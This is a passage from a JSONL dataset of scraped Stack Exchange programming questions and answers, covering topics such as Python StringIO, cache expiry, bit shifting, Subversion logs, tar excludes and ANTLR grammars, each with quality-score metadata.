"2026-01-17T15:25:37.152804"}
{"id": "hf_dc27c6d4d22d", "question": "<p>How do I create a file-like object (same duck type as File) with the contents of a string?</p>\n", "question_body": "", "answer": "For Python 2.x, use the\nStringIO\nmodule.  For example:\n```\n```\n>>> from cStringIO import StringIO\n>>> f = StringIO('foo')\n>>> f.read()\n'foo'\n```\n```\nI use cStringIO (which is faster), but note that it doesn't\naccept Unicode strings that cannot be encoded as plain ASCII strings\n.  (You can switch to StringIO by changing  \"from cStringIO\" to \"from StringIO\".)\nFor Python 3.x, use the\n```\nio\n```\nmodule.\n```\n```\nf = io.StringIO('foo')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.188378"}
{"id": "hf_cef8827753b0", "question": "<p>I have a select element in a form, and I want to display something only if the dropdown is not visible.  Things I have tried:</p>\n\n<ul>\n<li>Watching for click events, where odd clicks mean the dropdown is visible and even clicks mean the dropdown isn't.  Misses other ways the dropdown could disappear (pressing escape, tabbing to another window), and I think this could be hard to get right cross-browser.</li>\n<li>Change events, but these only are triggered when the select box's value changes.</li>\n</ul>\n\n<p>Ideas?</p>\n", "question_body": "", "answer": "I don't think there's direct support.  You could also sit on the onblur of the select -- it gets called when the select loses focus.\nDepending on how important it is, you could try implementing your own control or starting from one like a drop-down menu control which is similar.  Usually, unless it's critical to your application, it's not worth doing this.  If you decide to go this route, here's a discussion of someone trying to do it using dojo as a basis:\nhttp://dojotoolkit.org/forum/dijit-dijit-0-9/dijit-support/emulating-html-select", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.216276"}
{"id": "hf_b555b2683c62", "question": "<p>I've got a nice little class built that acts as a cache. Each item has an expiration TimeSpan or DateTime. Each time an attempt to access an item in the cache is made, the item's expiration is checked, and if it's expired, the item is removed from the cache and nothing is returned.</p>\n\n<p>That's great for objects that are accessed frequently, but if an item is put in the cache and never accessed again, it's never removed, even though it's expired.</p>\n\n<p>What's a good methodology for expiring such items from the cache?</p>\n\n<p>Should I have a background thread infinitely enumerating every item in the cache to check if it's expired?</p>\n", "question_body": "", "answer": "You can implement an LRU (Least Recently Used) strategy, keep your items sorted by access time, when a new item is inserted into the cache\nand\nthe cache is full you evicted the item that is last in that list. See\nCache algorithms\nat Wikipedia.\nIf you want to expire immediately, i would still only do that when things are accessed. I.e. when the cache object is accessed and it's time has expired refetch it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.240002"}
{"id": "hf_706d9bc14835", "question": "<p>I want to be able to explore the contents of a DB for this version of the DB. I was thinking of using the Squirrel DB client (which needs a JDBC driver).</p>\n\n<p>Therefore, I'm looking for a JDBC type 4 driver for SQL SERVER 3.5.  Can somone point me to a FREE OR open source or trial ware ?</p>\n\n<p>If no JDBC driver, how do MS developers explore a given .SDF file ?</p>\n\n<p>Thank you,</p>\n\n<p>BR,<BR>\n~A</p>\n", "question_body": "", "answer": "Have you tried\nSQL Server Management Studio Express\n?\nYou can access SQL Server Compact 3.5\n  databases stored on a smart device or\n  on the desktop computer by using SQL\n  Server Management Studio in SQL Server\n  or SQL Server Management Studio\n  Express (SSMSE).\nhttp://technet.microsoft.com/en-us/library/ms172037.aspx\nAs for the JDBC Driver, you could take a look at\nthis one\n, provided by Microsoft. I don't know if it works with the Compact Edition or if you already tried it, but I thought it was worth mentioning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.265993"}
{"id": "hf_56df2781c074", "question": "<p>I could probably write this myself, but the specific way I'm trying to accomplish it is throwing me off.  I'm trying to write a generic extension method similar to the others introduced in .NET 3.5 that will take a nested IEnumerable of IEnumerables (and so on) and flatten it into one IEnumerable.  Anyone have any ideas?</p>\n\n<p>Specifically, I'm having trouble with the syntax of the extension method itself so that I can work on a flattening algorithm.</p>\n", "question_body": "", "answer": "```\n```\nstatic class EnumerableExtensions\n{\n    public static IEnumerable<T> Flatten<T>(this IEnumerable<IEnumerable<T>> sequence)\n    {\n        foreach(var child in sequence)\n            foreach(var item in child)\n                yield return item;\n    }\n}\n```\n```\nMaybe like this? Or do you mean that it could potentially be infintly deep?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.291505"}
{"id": "hf_fcef1d848411", "question": "<pre><code>class Foo(models.Model):\n    title = models.CharField(max_length=20)\n    slug = models.SlugField()\n</code></pre>\n\n<p>Is there a built-in way to get the slug field to autopopulate based on the title? Perhaps in the Admin and outside of the Admin.</p>\n", "question_body": "", "answer": "For pre-1.0:\n```\n```\nslug = models.SlugField(prepopulate_from=('title',))\n```\n```\nshould work just fine\nFor 1.0, use\ncamflan's", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.329061"}
{"id": "hf_a21e7c7a4483", "question": "<p>I'm not sure if this even exists or not, so I figured I would tap the wisdom of others.. </p>\n\n<p>I was wondering if there are any Java libraries out there that can be used to validate a SQL query's syntax. I know that there are many deviations from common SQL spec, so it would probably only work against something like SQL:2006, but that would certainly suffice. </p>\n\n<p>My goal is to use this for unit-testing purposes without needing to attempt the execution against the DB. I know it's of limited use, but it would still be useful. </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I don't think there are such libraries. The SQL syntax has too many derivatives.\nA possible solution would be to use parts of an open source pure Java DBMS like\nSmallSQL\n. In this project you can create an instance of the\nSQLParser\n. The needed references to the connection can be removed very easily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.367478"}
{"id": "hf_389090391dd9", "question": "<p>When do you think we can expect the full release version of ASP.NET MVC?</p>\n", "question_body": "", "answer": "EDIT (16/Jul/2009)\nUpdating to ensure this page contains the most recent details.\nASP.NET MVC is now fully released\nhttp://www.asp.net/mvc/\n.\nEDIT (28/Jan/2009)\nASP.NET MVC 1.0 RC Now Available.... final next month (\nFrom ScottGu's Blog\n)\nToday’s RC is the last public release\n  of ASP.NET MVC that we’ll ship prior\n  to the final “1.0” release.  We expect\n  to ship the final ASP.NET MVC 1.0\n  release next month.\nLast I heard, Q4 2008.\nScott Hanselman posted this\nin his blog about 3.5 SP1\nWhat about ASP.NET MVC?\nThere is likely some confusion around\n  MVC as a few people expected ASP.NET\n  MVC to ship in SP1. This is probably\n  because MVC was included in 3.5\n  \"Extensions Preview.\" However, the\n  plan was always to ship in Q4CY08.\n(That date is marketing speak, I've\n  just learned. I tell people what Eilon\n  told me - it'll ship in a month ending\n  in \"-ber.\" Possible \"March-ber\" but\n  also maybe \"next June-ber.\")\nAnyway, Phil has always said that MVC\n  is on its own schedule and will ship\n  when its done. Possibly when Duke\n  Nukem Forever ships.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.405469"}
{"id": "hf_cd9f7178306f", "question": "<p>I personally use <a href=\"http://php.net/var_dump\" rel=\"nofollow noreferrer\"><code>var_dump</code></a>, but lots of people like <a href=\"http://php.net/print_r\" rel=\"nofollow noreferrer\"><code>print_r</code></a>. </p>\n\n<p>What does everyone use? Pros and Cons?</p>\n\n<p>Does someone have a special home brew function of their own?</p>\n", "question_body": "", "answer": "I use\n```\nprint_r()\n```\nbecause I like the pretty array structure... but\n```\nvar_dump\n```\ndoes give you a bit more information (like types)\n```\n```\n$obj = (object) array(1, 2, 3);\n\n// output of var_dump:\nobject(stdClass)#1 (3) {\n  [0]=>\n  int(1)\n  [1]=>\n  int(2)\n  [2]=>\n  int(3)\n}\n\n// output of print_r\nstdClass Object\n(\n  [0] => 1\n  [1] => 2\n  [2] => 3\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.430915"}
{"id": "hf_b71c28d87733", "question": "<p>I've been attempting to learn C in my spare time, and other languages (C#, Java, etc.) have the same concept (and often the same operators)...</p>\n<p>At a core level, what does bit-shifting (<code>&lt;&lt;</code>, <code>&gt;&gt;</code>, <code>&gt;&gt;&gt;</code>) do, what problems can it help solve, and what gotchas lurk around the bend? In other words, an absolute beginner's guide to bit shifting in all its goodness.</p>\n", "question_body": "", "answer": "Let's say we have a single byte:\n```\n```\n0110110\n```\n```\nApplying a single left bitshift gets us:\n```\n```\n1101100\n```\n```\nThe leftmost zero was shifted out of the byte, and a new zero was appended to the right end of the byte.\nThe bits don't rollover; they are discarded. That means if you left shift 1101100 and then right shift it, you won't get the same result back.\nShifting left by N is equivalent to multiplying by 2\nN\n.\nShifting right by N is (if you are using\nones' complement\n) is the equivalent of dividing by 2\nN\nand rounding to zero.\nBitshifting can be used for insanely fast multiplication and division, provided you are working with a power of 2. Almost all low-level graphics routines use bitshifting.\nFor example, way back in the olden days, we used mode 13h (320x200 256 colors) for games. In Mode 13h, the video memory was laid out sequentially per pixel. That meant to calculate the location for a pixel, you would use the following math:\n```\n```\nmemoryOffset = (row * 320) + column\n```\n```\nNow, back in that day and age, speed was critical, so we would use bitshifts to do this operation.\nHowever, 320 is not a power of two, so to get around this we have to find out what is a power of two that added together makes 320:\n```\n```\n(row * 320) = (row * 256) + (row * 64)\n```\n```\nNow we can convert that into left shifts:\n```\n```\n(row * 320) = (row << 8) + (row << 6)\n```\n```\nFor a final result of:\n```\n```\nmemoryOffset = ((row << 8) + (row << 6)) + column\n```\n```\nNow we get the same offset as before, except instead of an expensive multiplication operation, we use the two bitshifts...in x86 it would be something like this (note, it's been forever since I've done assembly (editor's note: corrected a couple mistakes and added a 32-bit example)):\n```\n```\nmov ax, 320; 2 cycles\nmul word [row]; 22 CPU Cycles\nmov di,ax; 2 cycles\nadd di, [column]; 2 cycles\n; di = [row]*320 + [column]\n\n; 16-bit addressing mode limitations:\n; [di] is a valid addressing mode, but [ax] isn't, otherwise we could skip the last mov\n```\n```\nTotal: 28 cycles on whatever ancient CPU had these timings.\nVrs\n```\n```\nmov ax, [row]; 2 cycles\nmov di, ax; 2\nshl ax, 6;  2\nshl di, 8;  2\nadd di, ax; 2    (320 = 256+64)\nadd di, [column]; 2\n; di = [row]*(256+64) + [column]\n```\n```\n12 cycles on the same ancient CPU.\nYes, we would work this hard to shave off 16 CPU cycles.\nIn 32 or 64-bit mode, both versions get a lot shorter and faster.  Modern out-of-order execution CPUs like Intel Skylake (see\nhttp://agner.org/optimize/\n) have very fast hardware multiply (low latency and high throughput), so the gain is much smaller.  AMD Bulldozer-family is a bit slower, especially for 64-bit multiply.  On Intel CPUs, and AMD Ryzen, two shifts are slightly lower latency but more instructions than a multiply (which may lead to lower throughput):\n```\n```\nimul edi, [row], 320    ; 3 cycle latency from [row] being ready\nadd  edi, [column]      ; 1 cycle latency (from [column] and edi being ready).\n; edi = [row]*(256+64) + [column],  in 4 cycles from [row] being ready.\n```\n```\nvs.\n```\n```\nmov edi, [row]\nshl edi, 6               ; row*64.   1 cycle latency\nlea edi, [edi + edi*4]   ; row*(64 + 64*4).  1 cycle latency\nadd edi, [column]        ; 1 cycle latency from edi and [column] both being ready\n; edi = [row]*(256+64) + [column],  in 3 cycles from [row] being ready.\n```\n```\nCompilers will do this for you: See how\nGCC, Clang, and Microsoft Visual C++ all use shift+lea when optimizing\n```\nreturn 320*row + col;\n```\n.\nThe most interesting thing to note here is that\nx86 has a shift-and-add instruction (\n```\nLEA\n```\n)\nthat can do small left shifts and add at the same time, with the performance as an\n```\nadd\n```\ninstruction.  ARM is even more powerful: one operand of any instruction can be left or right shifted for free.  So scaling by a compile-time-constant that's known to be a power-of-2 can be even more efficient than a multiply.\nOK, back in the modern days... something more useful now would be to use bitshifting to store two 8-bit values in a 16-bit integer. For example, in C#:\n```\n```\n// Byte1: 11110000\n// Byte2: 00001111\n\nInt16 value = ((byte)(Byte1 >> 8) | Byte2));\n\n// value = 000011111110000;\n```\n```\nIn C++, compilers should do this for you if you used a\n```\nstruct\n```\nwith two 8-bit members, but in practice they don't always.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.469279"}
{"id": "hf_d85857a8d475", "question": "<p>Let's say I have a class that has a member called data which is a list.  </p>\n\n<p>I want to be able to initialize the class with, for example, a filename (which contains data to initialize the list) or with an actual list.</p>\n\n<p>What's your technique for doing this?</p>\n\n<p>Do you just check the type by looking at <code>__class__</code>?</p>\n\n<p>Is there some trick I might be missing?</p>\n\n<p>I'm used to C++ where overloading by argument type is easy. </p>\n", "question_body": "", "answer": "A better way would be to use isinstance and type conversion. If I'm understanding you right, you want this:\n```\n```\ndef __init__ (self, filename):\n    if isinstance (filename, basestring):\n        # filename is a string\n    else:\n        # try to convert to a list\n        self.path = list (filename)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.496980"}
{"id": "hf_c2c2e8a3ec82", "question": "<p>I am about to start on a journey writing a windows forms application that will open a txt file that is pipe delimited and about 230 mb in size. This app will then insert this data into a sql server 2005 database (obviously this needs to happen swiftly). I am using c# 3.0 and .net 3.5 for this project. </p>\n\n<p>I am not asking for the app, just some communal advise here and potential pitfalls advise. From the site I have gathered that SQL bulk copy is a prerequisite, is there anything I should think about (I think that just opening the txt file with a forms app will be a large endeavor; maybe break it into blob data?).</p>\n\n<p>Thank you, and I will edit the question for clarity if anyone needs it.</p>\n", "question_body": "", "answer": "This is going to be a streaming endeavor.\nIf you can, do not use transactions here. The transactional cost will simply be too great.\nSo what you're going to do is read the file a line at a time and insert it in a line at a time. You should dump failed inserts into another file that you can diagnose later and see where they failed.\nAt first I would go ahead and try a bulk insert of a couple of hundred rows just to see that the streaming is working properly and then you can open up all you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.520995"}
{"id": "hf_9e2edf27e10c", "question": "<p>I can select all the distinct values in a column in the following ways:</p>\n\n<ul>\n<li><code>SELECT DISTINCT column_name FROM table_name;</code></li>\n<li><code>SELECT column_name FROM table_name GROUP BY column_name;</code></li>\n</ul>\n\n<p>But how do I get the row count from that query? Is a subquery required?</p>\n", "question_body": "", "answer": "```\n```\nselect Count(distinct columnName) as columnNameCount from tableName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.557507"}
{"id": "hf_e8759b3738f2", "question": "<p>What I would like is be able to generate a simple report that is the output of svn log for a certain date range.  Specifically, all the changes since 'yesterday'.  </p>\n\n<p>Is there an easy way to accomplish this in Subversion besides grep-ing the svn log output for the timestamp?</p>\n\n<p>Example:</p>\n\n<pre><code>svn -v log -d 2008-9-23:2008-9:24 &gt; report.txt\n</code></pre>\n", "question_body": "", "answer": "Very first hit by google for \"svn log date range\":\nhttp://svn.haxx.se/users/archive-2006-08/0737.shtml\nSo\n```\nsvn log <url> -r\n  {2008-09-19}:{2008-09-26}\n```\nwill get\n  all changes for  the past week,\n  including today.\nAnd if you want to generate reports for a repo, there's a solution:\nStatsvn\n.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.593873"}
{"id": "hf_80b23f22af67", "question": "<p>I have an Enum like this</p>\n\n<pre><code>package com.example;\n\npublic enum CoverageEnum {\n\n    COUNTRY,\n    REGIONAL,\n    COUNTY\n}\n</code></pre>\n\n<p>I would like to iterate over these constants in JSP without using scriptlet code. I know I can do it with scriptlet code like this:</p>\n\n<pre><code>&lt;c:forEach var=\"type\" items=\"&lt;%= com.example.CoverageEnum.values() %&gt;\"&gt;\n    ${type}\n&lt;/c:forEach&gt;\n</code></pre>\n\n<p>But can I achieve the same thing without scriptlets?</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "If you are using Tag Libraries you could encapsulate the code within an EL function. So the opening tag would become:\n```\n```\n<c:forEach var=\"type\" items=\"${myprefix:getValues()}\">\n```\n```\nEDIT: In response to discussion about an implementation that would work for multiple Enum types just sketched out this:\n```\n```\npublic static <T extends Enum<T>> Enum<T>[] getValues(Class<T> klass) {\n    try { \n        Method m = klass.getMethod(\"values\", null);\n        Object obj = m.invoke(null, null);\n        return (Enum<T>[])obj;\n    } catch(Exception ex) {\n        //shouldn't happen...\n        return null;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.642499"}
{"id": "hf_a5d95581f269", "question": "<p>I've been working with Perl long enough that many of its idiosyncracies have become second nature to me.  When new programmers join our group, they frequently have little to no experience with Perl, and it's usually my task to train them (to the extent necessary).  I'd like to know what to focus on when training a programmer who is new to Perl but has experience with other languages (this question is meant to be language-agnostic, but most developers I've worked with have come from Java).</p>\n\n<p>A few things occur to me:  </p>\n\n<ul>\n<li>The proper use of sigils</li>\n<li>Referencing/Dereferencing</li>\n<li>Use of list functions like <strong>map</strong>,\n<strong>grep</strong>, <strong>sort</strong></li>\n</ul>\n\n<p>Is there anything in particular that you've found it useful to focus on when helping a programmer to transition to Perl?  Do you stress the similarities or the differences, or both in equal measure?</p>\n", "question_body": "", "answer": "I'm a java programmer who recently had to pick up Perl.  The part I found hardest to get used to were all the special built in variables like $_ $~ $' and so on.  Until you get used to them it's hard to keep track of which one does what.\nAnd, of course, the use of regular expressions.\nFor example, I have to maintain code and when I saw the line below for the first time it was a little confusing.  As a java programmer it looks like gibberish.\n```\n```\nnext unless \"$_\" !~ /^#/;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.726793"}
{"id": "hf_5276b1e768ac", "question": "<p>Where X is any programming language (C#, Javascript, Lisp, Perl, Ruby, Scheme, etc) which supports some flavour of closures.  </p>\n\n<p>Some limitations are mentioned in the <a href=\"http://ivan.truemesh.com/archives/000411.html\" rel=\"noreferrer\">Closures in Python</a> (compared to Ruby's closures), but the article is old and many limitations do not exist in modern Python any more.</p>\n\n<p>Seeing a code example for a concrete limitation would be great.</p>\n\n<p><strong>Related questions</strong>:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/13857/can-you-explain-closures-as-they-relate-to-python\">Can you explain closures (as they relate to Python)?</a></li>\n<li><a href=\"https://stackoverflow.com/questions/36636/what-is-a-closure\">What is a ‘Closure’?</a></li>\n<li><a href=\"https://stackoverflow.com/questions/111102/how-does-a-javascript-closure-work\">How does a javascript closure work ?</a></li>\n</ul>\n", "question_body": "", "answer": "The only difficulty I've seen people encounter with Python's in particular is when they try to mix non-functional features like variable reassignment with closures, and are surprised when this doesn't work:\n```\n```\ndef outer ():\n    x = 1\n    def inner ():\n        print x\n        x = 2\n    return inner\nouter () ()\n```\n```\nUsually just pointing out that a function has its own local variables is enough to deter such silliness.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.750481"}
{"id": "hf_e63e4e0c81f3", "question": "<p>I've seen <a href=\"https://stackoverflow.com/questions/129877/how-do-i-write-a-generic-memoize-function\">the other post about this</a>, but is there a clean way of doing this in Haskell?</p>\n\n<p>As a 2nd part, can it also be done without making the function monadic?</p>\n", "question_body": "", "answer": "If your arguments are going to be natural numbers, you can do simply:\n```\n```\nmemo f = let values = map f [0..]\n     in \\n -> values !! n\n```\n```\nHowever, that doesn't really help you with the stack overflowing, and it doesn't work with recursive calls. You can see some fancier solutions at\nhttp://www.haskell.org/haskellwiki/Memoization\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.787677"}
{"id": "hf_4f1bab960b92", "question": "<p>How do I tar a list of files and folders (all in the same directory) with the exclusion of a single directory (which contains a huge amount of data)</p>\n", "question_body": "", "answer": "```\ntar --exclude=PATTERN xvzf nameof.tar.gz ./*\n```\nPATTERN can be the directory name. GNU tar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.861609"}
{"id": "hf_256747dbbd60", "question": "<p>If I do not specify the following in my web.xml file:</p>\n\n<pre><code>&lt;session-config&gt;\n    &lt;session-timeout&gt;10&lt;/session-timeout&gt;\n&lt;/session-config&gt;\n</code></pre>\n\n<p>What will be my default session timeout? (I am running Tomcat 6.0)</p>\n", "question_body": "", "answer": "I'm sure it depends on your container. Tomcat is 30 minutes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:37.935302"}
{"id": "hf_b72ca343a0f5", "question": "<p>I have a Python application in a strange state.  I don't want to do live debugging of the process.  Can I dump it to a file and examine its state later?  I know I've restored corefiles of C programs in gdb later, but I don't know how to examine a Python application in a useful way from gdb.</p>\n\n<p>(This is a variation on my question about <a href=\"https://stackoverflow.com/questions/141351/how-do-i-find-what-is-using-memory-in-a-python-process-in-a-production-system\">debugging memleaks in a production system</a>.)</p>\n", "question_body": "", "answer": "There is no builtin way other than aborting (with os.abort(), causing the coredump if resource limits allow it) -- although you can certainly build your own 'dump' function that dumps relevant information about the data you care about. There are no ready-made tools for it.\nAs for handling the corefile of a Python process, the\nPython source has a gdbinit file\nthat contains useful macros. It's still a lot more painful than somehow getting into the process itself (with pdb or the interactive interpreter) but it makes life a little easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.016806"}
{"id": "hf_cbc62d9381b1", "question": "<p>I know a Haskell module name, but I can't figure out in what package it is defined. This is bad because I can't compile without a package exposing this module.</p>\n\n<p>Specificaly it is Text.Regex that I can't locate, but I would like to know how to solve that problem in general.</p>\n", "question_body": "", "answer": "http://www.haskell.org/ghc/docs/latest/html/users_guide/packages.html\nghc-pkg find-module Text.Regex\nBut that only works for (a) recent GHCs, and (b) packages installed on your system.\nYou can also grep through the package file (e.g. /usr/lib/ghc-6.8.2/package.conf) to see what's installed.\nYou can also use either the haskell API search engines\nhoogle\nor the\nhackage\nsearch engine\nhayoo\n.\nText.Regex is in the package regex-base, and a few others built on top of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.076596"}
{"id": "hf_45e73d018c78", "question": "<p><strong>Motivation</strong></p>\n\n<p>I'd like to find a way to take an arbitrary color and lighten it a few shades, so that I can programatically create a nice gradient from the one color to a lighter version. The gradient will be used as a background in a UI.</p>\n\n<p><strong>Possibility 1</strong></p>\n\n<p>Obviously I can just split out the RGB values and increase them individually by a certain amount. Is this actually what I want?</p>\n\n<p><strong>Possibility 2</strong></p>\n\n<p>My second thought was to convert the RGB to HSV/HSB/HSL (Hue, Saturation, Value/Brightness/Lightness), increase the brightness a bit, decrease the saturation a bit, and then convert it back to RGB. Will this have the desired effect in general?</p>\n", "question_body": "", "answer": "I would go for the second option. Generally speaking the RGB space is not really good for doing color manipulation (creating transition from one color to an other, lightening / darkening a color, etc). Below are two sites I've found with a quick search to convert from/to RGB to/from HSL:\nfrom the \"Fundamentals of Computer Graphics\"\nsome sourcecode in C#\n- should be easy to adapt to other programming languages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.113045"}
{"id": "hf_9c3dba74c4dc", "question": "<p>I've looked at the java documentation and scoured the net for information on java's support for international characters with specific fonts (such as Monospace), but haven't been able to get a clear concrete answer.</p>\n\n<p>There has been a change between java 1.4 and java 1.5/1.6. For example, in java 1.4 if you set the font on a JTextArea to Monospace, it won't be able to handle foreign characters (get rectangles instead), but in java 1.5/1.6 it seems to work fine.</p>\n\n<p>Are these differences/improved support clearly documented anywhere? </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "From\nInternationalization Enhancements\n:\nMultilingual Text Rendering\nTo render multilingual text, using logical fonts, 2D now takes advantage of installed host OS fonts for all supported writing systems. For example, if you run in a Thai locale environment, but have Korean fonts installed, both Thai and Korean are rendered. The JRE now also automatically detects physical fonts that are installed into its lib/fonts/fallback directory and adds these physical fonts to all logical fonts for 2D rendering.\nUse of Unicode APIs on Windows\nAWT now uses the Unicode APIs on Windows 2000/XP. As a result, some of its components can handle text without being restricted by Windows locale settings.\nFor example, AWT text components can accept and display text in the Devanagari writing system regardless of the Windows locale settings.\n(emphasis mine)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:38.145288"}
{"id": "hf_d23bea19fa83", "question": "<p>What is the simplest (shortest, fewest rules, and no warnings) way to parse both valid dates and numbers in the same grammar? My problem is that a lexer rule to match a valid month (1-12) will match any occurrence of 1-12. So if I just want to match a number, I need a parse rule like:</p>\n\n<pre><code>number: (MONTH|INT);\n</code></pre>\n\n<p>It only gets more complex when I add lexer rules for day and year. I want a parse rule for date like this:</p>\n\n<pre><code>date: month '/' day ( '/' year )? -&gt; ^('DATE' year month day);\n</code></pre>\n\n<p>I don't care if month,day &amp; year are parse or lexer rules, just so long as I end up with the same tree structure. I also need to be able to recognize numbers elsewhere, e.g.:</p>\n\n<pre><code>foo: STRING OP number -&gt; ^(OP STRING number);\nSTRING: ('a'..'z')+;\nOP: ('&lt;'|'&gt;');\n</code></pre>\n", "question_body": "", "answer": "The problem is that you seem to want to perform both syntactical and semantical checking in your lexer and/or your parser.  It's a common mistake, and something that is only possible in very simple languages.\nWhat you really need to do is accept more broadly in the lexer and parser, and then perform semantic checks.  How strict you are in your lexing is up to you, but you have two basic options, depending on whether or not you need to accept zeroes preceding your days of the month: 1) Be really accepting for your INTs, 2) define DATENUM to only accept those tokens that are valid days, yet not valid INTs.  I recommend the second because there will be less semantic checks necessary later in the code (since INTs will then be verifiable at the syntax level and you'll only need to perform semantic checks on your dates.  The first approach:\n```\n```\nINT: '0'..'9'+;\n```\n```\nThe second approach:\n```\n```\nDATENUM: '0' '1'..'9';\nINT: '0' | SIGN? '1'..'9' '0'..'9'*;\n```\n```\nAfter accepting using these rules in the lexer, your date field would be either:\n```\n```\ndate: INT '/' INT ( '/' INT )?\n```\n```\nor:\n```\n```\ndate: (INT | DATENUM) '/' (INT | DATENUM) ('/' (INT | DATENUM) )?\n```\n```\nAfter that, you would perform a semantic run over your AST to make sure that your dates are valid.\nIf you're dead set on performing semantic checks in your grammar, however, 